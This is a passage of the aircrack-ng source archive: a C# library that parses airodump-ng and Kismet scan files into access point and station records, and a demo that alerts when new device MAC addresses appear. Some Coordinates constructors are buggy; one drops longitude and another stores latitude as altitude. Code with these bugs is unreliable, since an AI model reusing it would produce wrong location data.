StringBuilder(string.Empty); foreach (string s in value) { sb.AppendFormat("{0}, ", s); } string res = sb.ToString(); if (res.Length > 0) { res = res.Substring(0, res.Length - 2); } // And put it in the Probed ESSIDs dictionary item this.setDictValue("Probed ESSIDs", res); } } } /// /// Implements IEquatable /// /// Other Station to compare to /// true if equals, false if not public bool Equals(Station other) { try { if (this.StationMAC == other.StationMAC) { return true; } } catch { } return false; } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Coordinates.cs0000644000000000000000000001042611600011117022606 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections; using System.Text; namespace WirelessPanda { public class Coordinates { #region Dictionary stuff private Hashtable _dictionary = new Hashtable(); private void setDictValue(string elem, double value) { if (this._dictionary.ContainsKey(elem)) { this._dictionary.Remove(elem); } this._dictionary.Add(elem, value); } private double getDictValue(string elem) { if (this._dictionary.ContainsKey(elem)) { return (double)this._dictionary[elem]; } throw new MissingFieldException("Value <" + elem + "> is not set or does not exist"); } #endregion #region Properties /// /// Latitude /// public double Latitude { get { return this.getDictValue("Latitude"); } set { this.setDictValue("Latitude", value); } } /// /// Longitude /// public double Longitude { get { return this.getDictValue("Longitude"); } set { this.setDictValue("Longitude", value); } } /// /// Altitude (in meters) /// public double Altitude { get { return this.getDictValue("Altitude"); } set { this.setDictValue("Altitude", value); } } /// /// Speed (UOM: probably knot but unsure) /// public double Speed { get { return this.getDictValue("Speed"); } set { this.setDictValue("Speed", value); } } #endregion public Coordinates(string latitude = null, string longitude = null, string altitude = null, string speed = null) { if (!string.IsNullOrEmpty(latitude)) { this.Latitude = double.Parse(latitude); } if (!string.IsNullOrEmpty(longitude)) { this.Longitude = double.Parse(longitude); } if (!string.IsNullOrEmpty(altitude)) { this.Altitude = double.Parse(altitude); } if (!string.IsNullOrEmpty(speed)) { this.Speed = double.Parse(speed); } } public Coordinates(double latitude, double longitude) { this.Latitude = latitude; } public Coordinates(double latitude, double longitude, double altitude) : this(latitude, longitude) { this.Altitude = latitude; } public Coordinates(double latitude, double longitude, double altitude, double speed) : this(latitude, longitude, altitude) { this.Speed = speed; } public override string ToString() { StringBuilder sb = new StringBuilder(); try { sb.Append(this.Latitude); sb.Append(", "); sb.Append(this.Longitude); if (this._dictionary.ContainsKey("Altitude")) { sb.Append(" - Altitude: "); sb.Append(this.Altitude); } if (this._dictionary.ContainsKey("Speed")) { sb.Append(" - Speed: "); sb.Append(this.Speed); } } catch { if (sb.Length > 0) { sb.Remove(0, sb.Length); } } return sb.ToString(); } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/AccessPoint.cs0000644000000000000000000002723311600011117022553 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; namespace WirelessPanda { public class AccessPoint : WirelessDevice, IEquatable { #region Properties /// /// Max Rate /// public double MaxRate { get { return (double)this.getDictValue("Max Rate"); } set { this.setDictValue("Max Rate", value); } } /// /// Max Seen Rate /// public double MaxSeenRate { get { return (double)this.getDictValue("Max Seen Rate"); } set { this.setDictValue("Max Seen Rate", value); } } /// /// Privacy /// public string Privacy { get { return (string)this.getDictValue("Privacy"); } set { this.setDictValue("Privacy", value); } } /// /// Cipher /// public string Cipher { get { return (string)this.getDictValue("Cipher"); } set { this.setDictValue("Cipher", value); } } /// /// Authentication /// public string Authentication { get { return (string)this.getDictValue("Authentication"); } set { this.setDictValue("Authentication", value); } } /// /// # Data Frames /// public ulong DataFrames { get { return (ulong)this.getDictValue("Data"); } set { this.setDictValue("Data", value); } } /// /// Beacons /// public long Beacons { get { return (long)this.getDictValue("Beacons"); } set { this.setDictValue("Beacons", value); } } /// /// IP Address /// public string IP { get { return (string)this.getDictValue("IP"); } set { this.setDictValue("IP", value); } } /// /// IP Type /// public int IPType { get { return (int)this.getDictValue("IP Type"); } set { this.setDictValue("IP Type", value); } } /// /// ESSID /// public string ESSID { get { return (string)this.getDictValue("ESSID"); } set { this.setDictValue("ESSID", value); } } /// /// ESSID Length /// public byte ESSIDLength { get { return (byte)this.getDictValue("ESSID Length"); } set { this.setDictValue("ESSID Length", value); } } /// /// Key /// public string Key { get { return (string)this.getDictValue("Key"); } set { this.setDictValue("Key", value); } } /// /// Network Type /// public string NetworkType { get { return (string)this.getDictValue("Network Type"); } set { this.setDictValue("Network Type", value); } } /// /// Info /// public string Info { get { return (string)this.getDictValue("Info"); } set { this.setDictValue("Info", value); } } /// /// Encoding /// public string Encoding { get { return (string)this.getDictValue("Encoding"); } set { this.setDictValue("Encoding", value); } } /// /// Cloaked ? /// public bool Cloaked { get { return (bool)this.getDictValue("Cloaked"); } set { this.setDictValue("Cloaked", value); } } /// /// Encryption /// public string Encryption { get { return (string)this.getDictValue("Encryption"); } set { this.setDictValue("Encryption", value); } } /// /// Is the traffic decrypted? /// public bool Decrypted { get { return (bool)this.getDictValue("Decrypted"); } set { this.setDictValue("Decrypted", value); } } /// /// # Beacon Frames /// public ulong Beacon { get { return (ulong)this.getDictValue("Beacon"); } set { this.setDictValue("Beacon", value); } } /// /// # LLC Frames /// public ulong LLC { get { return (ulong)this.getDictValue("LLC"); } set { this.setDictValue("LLC", value); } } /// /// # Crypt Frames /// public ulong Crypt { get { return (ulong)this.getDictValue("Crypt"); } set { this.setDictValue("Crypt", value); } } /// /// # Weak Frames /// public ulong Weak { get { return (ulong)this.getDictValue("Weak"); } set { this.setDictValue("Weak", value); } } /// /// Total Nb of Frames /// public ulong Total { get { return (ulong)this.getDictValue("Total"); } set { this.setDictValue("Total", value); } } /// /// Carrier /// public string Carrier { get { return (string)this.getDictValue("Carrier"); } set { this.setDictValue("Carrier", value); } } /// /// Best Quality /// public int BestQuality { get { return (int)this.getDictValue("BestQuality"); } set { this.setDictValue("BestQuality", value); } } /// /// Best Signal /// public int BestSignal { get { return (int)this.getDictValue("Best Signal"); } set { this.setDictValue("Best Signal", value); } } /// /// Best Noise /// public int BestNoise { get { return (int)this.getDictValue("Best Noise"); } set { this.setDictValue("Best Noise", value); } } /// /// Min Location /// public Coordinates MinLocation { get { return (Coordinates)this.getDictValue("Min Location"); } set { this.setDictValue("Min Location", value); } } /// /// Best Location /// public Coordinates BestLocation { get { return (Coordinates)this.getDictValue("Best Location"); } set { this.setDictValue("Best Location", value); } } /// /// Max Location /// public Coordinates MaxLocation { get { return (Coordinates)this.getDictValue("Max Location"); } set { this.setDictValue("Max Location", value); } } /// /// Data Size /// public ulong DataSize { get { return (ulong)this.getDictValue("Data Size"); } set { this.setDictValue("Data Size", value); } } #endregion /// /// Internal list of client /// private List _clientList = new List(); /// /// Add a client to our list /// /// public void addClient(Station sta) { this._clientList.Add(sta); sta.AP = this; } /// /// Returns the client list /// public List ClientList { get { return this._clientList; } } /// /// Implements IEquatable /// /// Other AccessPoint to compare to /// true if equals, false if not public bool Equals(AccessPoint other) { try { if (this.BSSID == other.BSSID) { return true; } } catch { } return false; } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/WirelessDevice.cs0000644000000000000000000001140711600011117023251 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections; namespace WirelessPanda { public abstract class WirelessDevice { #region Dictionary stuff /// /// Keep track of the last position for the column /// private int _lastPosition = 0; /// /// Dictionary containing all values /// protected Hashtable _fieldsDictionary = new Hashtable(); /// /// Order of the columns /// protected Hashtable _fieldsOrder = new Hashtable(); /// /// Sets a value in the dictionary /// /// Key /// Value protected void setDictValue(string key, object value) { if (this._fieldsDictionary.ContainsKey(key)) { this._fieldsDictionary.Remove(key); } else { // Save the position for the column (useful when creating the dataset) this._fieldsOrder.Add(this._lastPosition++, key); } this._fieldsDictionary.Add(key, value); } /// /// Return a value in the dictionary /// /// Key /// Object value /// protected object getDictValue(string key) { if (this._fieldsDictionary.ContainsKey(key)) { return this._fieldsDictionary[key]; } throw new MissingFieldException("Value for <" + key + "> is not set or does not exist"); } /// /// Returns a copy of the dictionary /// internal Hashtable FieldsDictionary { get { return this._fieldsDictionary as Hashtable; } } /// /// Returns a copy of the column order /// internal Hashtable FieldsOrder { get { return this._fieldsOrder as Hashtable; } } #endregion #region Properties public string BSSID { get { return (string)this.getDictValue("BSSID"); } set { this.setDictValue("BSSID", value); if (value != null) { // Special case, not associated if (value.Trim() == "(not associated)") { this.setDictValue("BSSID", string.Empty); } else { this.setDictValue("BSSID", value.Trim()); } } } } public DateTime FirstTimeSeen { get { return (DateTime)this.getDictValue("First Time Seen"); } set { this.setDictValue("First Time Seen", value); } } public DateTime LastTimeSeen { get { return (DateTime)this.getDictValue("Last Time Seen"); } set { this.setDictValue("Last Time Seen", value); } } public int Channel { get { return (int)this.getDictValue("Channel"); } set { this.setDictValue("Channel", value); } } public ulong TotalFrames { get { return (ulong)this.getDictValue("Total Frames"); } set { this.setDictValue("Total Frames", value); } } public Coordinates Location { get { return (Coordinates)this.getDictValue("Location"); } set { this.setDictValue("Location", value); } } public int Power { get { return (int)this.getDictValue("Power"); } set { this.setDictValue("Power", value); } } #endregion } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Readers/0000755000000000000000000000000012316431263021404 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Readers/csvReader.cs0000644000000000000000000001766411600011117023652 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; namespace WirelessPanda.Readers { public class CsvReader : Reader { /// /// Date format (Same format for 0.x and 1.x) /// protected override string DATE_FORMAT { get { return "yyyy-MM-dd HH:mm:ss"; } } public enum CSVFileFormat { v0X, v1X, Unknown } /// /// Get the file format /// public CSVFileFormat FileFormat { get { return this._fileFormat; } } private CSVFileFormat _fileFormat = CSVFileFormat.Unknown; /// /// Reader type /// public override string ReaderType { get { return "Airodump-ng CSV"; } } /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public CsvReader(string filename) : base(filename) { } /// /// Read/Update the content of the file /// /// true if successful /// Airodump-ng CSV format unknown public override bool Read() { // Reset parsing status this.ParseSuccess = false; // Get the content of the file string[] content = this.getStrippedFileContent(); // Get file format this._fileFormat = this.getFormat(content); if (this._fileFormat == CSVFileFormat.Unknown) { throw new FormatException("Airodump-ng CSV format unknown"); } // Parse AP ... int i = 2; // Start at line 3 (skipping header) for (; i < content.Length && !string.IsNullOrEmpty(content[i]); i++) { string [] splitted = content[i].Split(','); switch (this._fileFormat) { case CSVFileFormat.v0X: if (splitted.Length < 11) { continue; } break; case CSVFileFormat.v1X: if (splitted.Length < 15) { continue; } break; } AccessPoint ap = new AccessPoint(); ap.BSSID = splitted[0].Trim(); ap.FirstTimeSeen = this.parseDateTime(splitted[1]); ap.LastTimeSeen = this.parseDateTime(splitted[2]); ap.Channel = int.Parse(splitted[3].Trim()); ap.MaxRate = double.Parse(splitted[4].Trim()); ap.Privacy = splitted[5].Trim(); switch (this._fileFormat) { case CSVFileFormat.v0X: ap.Power = int.Parse(splitted[6].Trim()); ap.Beacons = long.Parse(splitted[7].Trim()); ap.DataFrames = ulong.Parse(splitted[8].Trim()); ap.IP = splitted[9].Replace(" ", ""); ap.ESSID = splitted[10].Substring(1); // TODO: Improve it because it may contain a ',' ap.ESSIDLength = (byte)ap.ESSID.Length; break; case CSVFileFormat.v1X: ap.Cipher = splitted[6].Trim(); ap.Authentication = splitted[7].Trim(); ap.Power = int.Parse(splitted[8].Trim()); ap.Beacons = long.Parse(splitted[9].Trim()); ap.DataFrames = ulong.Parse(splitted[10].Trim()); ap.IP = splitted[11].Replace(" ", ""); ap.ESSIDLength = byte.Parse(splitted[12].Trim()); ap.ESSID = splitted[13].Substring(1); // TODO: Improve it because it may contain a ',' ap.Key = splitted[14]; break; } // Add AP to the list this.addAccessPoint(ap); } // ... Parse stations i += 2; // Skip station header for (; i < content.Length && !string.IsNullOrEmpty(content[i]); i++) { string[] splitted = content[i].Split(','); // Skip to the next if not long enough if (splitted.Length < 6) { continue; } // Parse station information Station sta = new Station(); sta.StationMAC = splitted[0].Trim(); sta.FirstTimeSeen = this.parseDateTime(splitted[1]); sta.LastTimeSeen = this.parseDateTime(splitted[2]); sta.Power = int.Parse(splitted[3].Trim()); sta.NbPackets = ulong.Parse(splitted[4].Trim()); sta.BSSID = splitted[5].Trim(); // Get probed ESSID list if (splitted.Length > 6 && splitted[6] != "") { List list = new List(); for (int j = 6; j < splitted.Length; j++) { // There's always a whitespace character before list.Add(splitted[j].Substring(1)); } sta.ProbedESSIDsList = list.ToArray(); } else { sta.ProbedESSIDs = string.Empty; } // Add station to the list this.addStation(sta); } // Link them together this.LinkAPClients(); // Parsing was successful this.ParseSuccess = true; return this.ParseSuccess; } /// /// Returns the format of the file /// /// File content /// CSV File Format /// content is null /// content is empty private CSVFileFormat getFormat(string[] content) { // Checks if (content == null) { throw new ArgumentNullException("Cannot determine format without any content"); } if (content.Length == 1 && string.IsNullOrEmpty(content[0])) { throw new ArgumentException("Cannot determine format without any content"); } // First line is empty and the second line contains the header if (content.Length > 2 && string.IsNullOrEmpty(content[0])) { // Version 1.x if (content[1] == "BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key") { return CSVFileFormat.v1X; } // Version 0.x if (content[1] == "BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID") { return CSVFileFormat.v0X; } } return CSVFileFormat.Unknown; } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Readers/Reader.cs0000644000000000000000000003123411600011117023123 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections; using System.Collections.Generic; using System.Data; using System.IO; namespace WirelessPanda.Readers { public class Reader { public const string ACCESSPOINTS_DATATABLE = "Access Points"; public const string STATIONS_DATATABLE = "Stations"; #region Private members private DataSet _dataset = new DataSet(); private List _accessPoints = new List(); private List _stations = new List(); private string _filename = string.Empty; private bool _parseSuccess = false; #endregion #region Properties /// /// Returns true if the file exist /// public bool FileExist { get { return File.Exists(this._filename); } } /// /// DataSet containing 2 tables: "Access Points" and "Stations" /// public virtual DataSet Dataset { get { return this._dataset; } } /// /// Was the file parsed successfully? /// public bool ParseSuccess { get { return this._parseSuccess; } protected set { this._parseSuccess = value; } } /// /// Array of access points /// public virtual AccessPoint[] AccessPoints { get { return this._accessPoints.ToArray().Clone() as AccessPoint[]; } } /// /// Array of stations /// public virtual Station[] Stations { get { return this._stations.ToArray().Clone() as Station[]; } } /// /// Filename /// public string Filename { get { return this._filename; } } /// /// Reader type /// public virtual string ReaderType { get { return "Unknown"; } } /// /// Reader type /// protected virtual string DATE_FORMAT { get { return null; } } /// /// Reader type /// protected virtual string ALT_DATE_FORMAT { get { return null; } } #endregion /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public Reader(string filename) { if (string.IsNullOrEmpty(filename)) { throw new FileNotFoundException("Filename cannot be null or empty"); } this._filename = filename; } protected void Clear() { // Clear all the values and re-create datatables this._dataset.Tables.Clear(); this._accessPoints.Clear(); this._stations.Clear(); this._parseSuccess = false; } /// /// Open the file and returns its content /// /// /// File does not exist /// Fails to open file protected string[] getStrippedFileContent() { if (string.IsNullOrEmpty(this.Filename)) { throw new FileNotFoundException("Filename cannot be null or empty"); } FileInfo f = new FileInfo(this.Filename); if (!f.Exists) { throw new FileNotFoundException("File <" + this.Filename + "> does not exist"); } // Returns an array with one empty string if (f.Length == 0) { return new string[] { string.Empty }; } StreamReader sr = null; // Open the file try { sr = f.OpenText(); } catch (Exception e) { throw new Exception("Failed to open <" + this.Filename + ">", e); } List lines = new List(); // Read the file try { while (!sr.EndOfStream) { lines.Add(sr.ReadLine().Trim()); } } catch { /* Done or failure so stop */} // Close file try { sr.Close(); } catch { } return lines.ToArray(); } /// /// Read/Update the content of the file /// /// true if successful public virtual bool Read() { return this.ParseSuccess; } /// /// Generate the columns for the DataTable from the Hashtable (and in a specific order if needed) /// /// /// private DataColumn[] getColumnsFromHashtable(Hashtable ht, Hashtable order) { List columnList = new List(); if (ht != null) { if (order == null) { // No specific order but that's not going to happen foreach (string key in ht.Keys) { Type t = ht[key].GetType(); columnList.Add(new DataColumn(key, t)); } } else { for (int i = 0; i < order.Count; i++) { Type t = ht[(string)order[i]].GetType(); columnList.Add(new DataColumn((string)order[i], t)); } } } return columnList.ToArray(); } /// /// Add a station to the list /// /// Station /// protected bool addStation(Station s) { if (s == null) { return false; } // Create DataTable if needed if (!this._dataset.Tables.Contains(STATIONS_DATATABLE)) { // Create Stations DataTable DataTable dtStations = new DataTable(STATIONS_DATATABLE); dtStations.CaseSensitive = true; // Create columns dtStations.Columns.AddRange(this.getColumnsFromHashtable(s.FieldsDictionary, s.FieldsOrder)); // And add it to the dataset this._dataset.Tables.Add(dtStations); } // Add row DataRow dr = this._dataset.Tables[STATIONS_DATATABLE].NewRow(); // Set value for each field foreach (string key in s.FieldsDictionary.Keys) { dr[key] = s.FieldsDictionary[key]; } // Add row this._dataset.Tables[STATIONS_DATATABLE].Rows.Add(dr); // Add station to the list this._stations.Add(s); return true; } /// /// Link clients to their associated AP /// protected void LinkAPClients() { foreach (Station s in this._stations) { if (string.IsNullOrEmpty(s.BSSID)) { continue; } foreach (AccessPoint ap in this._accessPoints) { if (ap.BSSID == s.BSSID) { ap.addClient(s); break; } } } //this._dataset.Tables[ACCESSPOINTS_DATATABLE].ChildRelations.Add(new DataRelation("Cients", this._dataset.Tables[ACCESSPOINTS_DATATABLE].Columns["BSSID"], this._dataset.Tables[STATIONS_DATATABLE].Columns["BSSID"])); //this._dataset.Tables[STATIONS_DATATABLE].ParentRelations.Add(new DataRelation("Associated AP", this._dataset.Tables[ACCESSPOINTS_DATATABLE].Columns["BSSID"], this._dataset.Tables[STATIONS_DATATABLE].Columns["BSSID"])); } /// /// Add Access Point to the list /// /// Access Point /// protected bool addAccessPoint(AccessPoint ap) { if (ap == null) { return false; } // Create DataTable if needed if (!this._dataset.Tables.Contains(ACCESSPOINTS_DATATABLE)) { // Create Access Points DataTable DataTable dtAPs = new DataTable(ACCESSPOINTS_DATATABLE); dtAPs.CaseSensitive = true; // Create columns dtAPs.Columns.AddRange(this.getColumnsFromHashtable(ap.FieldsDictionary, ap.FieldsOrder)); this._dataset.Tables.Add(dtAPs); } // Add row DataRow dr = this._dataset.Tables[ACCESSPOINTS_DATATABLE].NewRow(); foreach (string key in ap.FieldsDictionary.Keys) { dr[key] = ap.FieldsDictionary[key]; } // Add row this._dataset.Tables[ACCESSPOINTS_DATATABLE].Rows.Add(dr); // Add the Access Point to the list this._accessPoints.Add(ap); return true; } /// /// Return the type of the file (and obviously, also the "name" of the reader to use /// /// Path to the file /// Null if type is unknown or a string with the type public static string getFileType(string path) { Reader r = new CsvReader(path); try { r.Read(); } catch { r = new KismetCsvReader(path); try { r.Read(); } catch { r = new NetXMLReader(path); try { r.Read(); } catch { } } } if (!r.ParseSuccess) { return null; } return r.ReaderType; } /// /// Parse a string containing the date and time /// /// Date string /// DateTime value /// Date/Time string cannot be null or empty /// Date Format is not set protected DateTime parseDateTime(string s) { if (string.IsNullOrEmpty(this.DATE_FORMAT)) { throw new FormatException("Date Format is not set"); } if (string.IsNullOrEmpty(s)) { throw new ArgumentNullException("Date/Time string cannot be null or empty"); } // Parse it DateTime ret = new DateTime(); try { ret = DateTime.ParseExact(s.Trim(), DATE_FORMAT, null); } catch { ret = DateTime.ParseExact(s.Trim(), ALT_DATE_FORMAT, null); } return ret; } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Readers/kismetCsvReader.cs0000644000000000000000000001162711600011117025020 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; namespace WirelessPanda.Readers { public class KismetCsvReader : Reader { /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string DATE_FORMAT { get { return "ddd MMM dd HH:mm:ss yyyy"; } } /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string ALT_DATE_FORMAT { get { return "ddd MMM d HH:mm:ss yyyy"; } } /// /// Reader type /// public override string ReaderType { get { return "Kismet CSV"; } } /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public KismetCsvReader(string filename) : base(filename) { } /// /// Read/Update the content of the file /// /// true if successful /// Airodump-ng CSV format unknown public override bool Read() { // Reset parsing status this.ParseSuccess = false; // Get the content of the file string[] content = this.getStrippedFileContent(); // Check if this is really a kismet CSV file if (content.Length == 0) { throw new FormatException("Empty file"); } this.ParseSuccess = (content[0] == "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;"); if (!this.ParseSuccess) { throw new FormatException("Not a Kismet CSV file"); } // Parse content for (int i = 1; i < content.Length && !string.IsNullOrEmpty(content[i]); i++) { string [] splitted = content[i].Split(';'); // Check if there are enough elements if (splitted.Length < 39) { continue; } AccessPoint ap = new AccessPoint(); // Skip first element which is the network number (if someone cares about it, email me) ap.NetworkType = splitted[1].Trim(); ap.ESSID = splitted[2].Trim(); ap.ESSIDLength = (byte)splitted[2].Length; ap.BSSID = splitted[3].Trim(); ap.Info = splitted[4].Trim(); ap.Channel = int.Parse(splitted[5]); ap.Cloaked = (splitted[6].Trim().ToLower() == "yes"); ap.Encryption = splitted[7].Trim(); ap.Decrypted = (splitted[8].Trim().ToLower() == "yes"); ap.MaxRate = double.Parse(splitted[9]); ap.MaxSeenRate = double.Parse(splitted[10]); ap.Beacon = ulong.Parse(splitted[11]); ap.LLC = ulong.Parse(splitted[12]); ap.DataFrames = ulong.Parse(splitted[13]); ap.Crypt = ulong.Parse(splitted[14]); ap.Weak = ulong.Parse(splitted[15]); ap.Total = ulong.Parse(splitted[16]); ap.Carrier = splitted[17].Trim(); ap.Encoding = splitted[18].Trim(); ap.FirstTimeSeen = this.parseDateTime(splitted[19]); ap.LastTimeSeen = this.parseDateTime(splitted[20]); ap.BestQuality = int.Parse(splitted[21]); ap.BestSignal = int.Parse(splitted[22]); ap.BestNoise = int.Parse(splitted[23]); ap.MinLocation = new Coordinates(splitted[24], splitted[25], splitted[26], splitted[27]); ap.MaxLocation = new Coordinates(splitted[28], splitted[29], splitted[30], splitted[31]); ap.BestLocation = new Coordinates(splitted[32], splitted[33], splitted[34], ""); ap.DataSize = ulong.Parse(splitted[35]); ap.IPType = int.Parse(splitted[36]); ap.IP = splitted[37].Replace(" ", ""); this.addAccessPoint(ap); } // No need to link stations and access points together since there are only access points. return true; } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Readers/NetXMLReader.cs0000644000000000000000000000246611600011117024160 0ustar rootrootusing System; namespace WirelessPanda.Readers { // See http://msdn.microsoft.com/en-us/library/cc189056(v=vs.95).aspx public class NetXMLReader : Reader { /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string DATE_FORMAT { get { return "ddd MMM dd HH:mm:ss yyyy"; } } /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string ALT_DATE_FORMAT { get { return "ddd MMM d HH:mm:ss yyyy"; } } /// /// Reader type /// public override string ReaderType { get { return "Kismet NetXML"; } } /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public NetXMLReader(string filename) : base(filename) { throw new NotImplementedException("NetXML parser not implemented yet"); } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Readers/UniversalReader.cs0000644000000000000000000000561311600011117025016 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Data; namespace WirelessPanda.Readers { public class UniversalReader : Reader { /// /// Reader /// private Reader _reader = null; /// /// File type /// /// So that we have to check it only once private string _fileType = string.Empty; #region Properties /// /// DataSet containing 2 tables: "Access Points" and "Stations" /// public override DataSet Dataset { get { return this._reader.Dataset; } } /// /// Array of access points /// public override AccessPoint[] AccessPoints { get { return this._reader.AccessPoints; } } /// /// Array of stations /// public override Station[] Stations { get { return this._reader.Stations; } } /// /// Reader type /// public override string ReaderType { get { return "Universal: Airodump-ng CSV, Kismet CSV, Kismet NetXML"; } } #endregion /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public UniversalReader(string filename) : base(filename) { } /// /// Read/Update the content of the file /// /// true if successful public override bool Read() { this.ParseSuccess = false; if (string.IsNullOrEmpty(this._fileType)) { this._fileType = Reader.getFileType(this.Filename); } switch (this._fileType) { case "Airodump-ng CSV": this._reader = new CsvReader(this.Filename); break; case "Kismet CSV": this._reader = new KismetCsvReader(this.Filename); break; case "Kismet NetXML": this._reader = new NetXMLReader(this.Filename); break; default: throw new FormatException("Unknown file format, can't parse"); break; } this.ParseSuccess = this._reader.Read(); return this.ParseSuccess; } } } aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/WirelessPanda.csproj0000644000000000000000000000475111600011117023774 0ustar rootroot Debug AnyCPU 8.0.30703 2.0 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} Library Properties WirelessPanda WirelessPanda v4.0 512 true full false bin\Debug\ DEBUG;TRACE prompt 4 pdbonly true bin\Release\ TRACE prompt 4 aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Properties/0000755000000000000000000000000012316431264022154 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Properties/AssemblyInfo.cs0000644000000000000000000000262111600011117025061 0ustar rootrootusing System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("TheRing")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("TheRing")] [assembly: AssemblyCopyright("Copyright © 2011")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("17562500-6dc8-4460-a427-440ea5f27f26")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] aircrack-ng-1.2-beta3/lib/csharp/MonoExample/0000755000000000000000000000000012316431264017503 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify/0000755000000000000000000000000012316431264022767 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify/AssemblyInfo.cs0000644000000000000000000000200111600013506025670 0ustar rootrootusing System.Reflection; using System.Runtime.CompilerServices; // Information about this assembly is defined by the following attributes. // Change them to the values specific to your project. [assembly: AssemblyTitle("NewStationNotify")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("")] [assembly: AssemblyCopyright("Thomas d'Otreppe")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // The assembly version has the format "{Major}.{Minor}.{Build}.{Revision}". // The form "{Major}.{Minor}.*" will automatically update the build and revision, // and "{Major}.{Minor}.{Build}.*" will update just the revision. [assembly: AssemblyVersion("1.0.*")] // The following attributes are used to specify the signing key for the assembly, // if desired. See the Mono documentation for more information about signing. //[assembly: AssemblyDelaySign(false)] //[assembly: AssemblyKeyFile("")] aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify/Main.cs0000644000000000000000000000236111600013506024172 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe // using System.Threading; using WirelessPanda.Readers; using WirelessPanda; using System.Collections; using System.Collections.Generic; using System; namespace NewStationNotify { class MainClass { public static void Main (string[] args) { Console.WriteLine(DateTime.Now + " - Program started"); Reader r = new UniversalReader("/home/user/dump-01.csv"); List stationList = new List(); // Read the file r.Read(); // Add existing stations to the list stationList.AddRange(r.Stations); while (true) { // Sleep 5 seconds Thread.Sleep(5000); Console.WriteLine(DateTime.Now + " - Checking for updates"); // Update file r.Read(); // Get station list foreach(Station sta in r.Stations) { // If new station, update us if (!stationList.Contains(sta)) { stationList.Add(sta); // Display it on the command line Console.WriteLine(DateTime.Now + " - New station: " + sta.StationMAC); // Display it as a notification Notification.Notify(sta.BSSID, sta.StationMAC); } } } } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify/Notification.cs0000644000000000000000000000467211600013506025743 0ustar rootroot// License: BSD // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; using NDesk.DBus; using org.freedesktop; namespace NewStationNotify { public class Notification { public Notification () { } /// /// Shows a notification on the screen. This has been tested on a N900 and will probably not work with anything else but it can be used as a base. /// public static void Notify(String BSSID, String staMac) { Bus bus = Bus.Session; Notifications nf = bus.GetObject ("org.freedesktop.Notifications", new ObjectPath ("/org/freedesktop/Notifications")); Dictionary hints = new Dictionary (); if (string.IsNullOrEmpty(BSSID)) { nf.Notify ("Notification", 0, "control_bluetooth_paired", "New unassociated station", staMac, new string[0], hints, 0); } else { nf.Notify ("Notification", 0, "control_bluetooth_paired", "New associated station", staMac + " (AP: 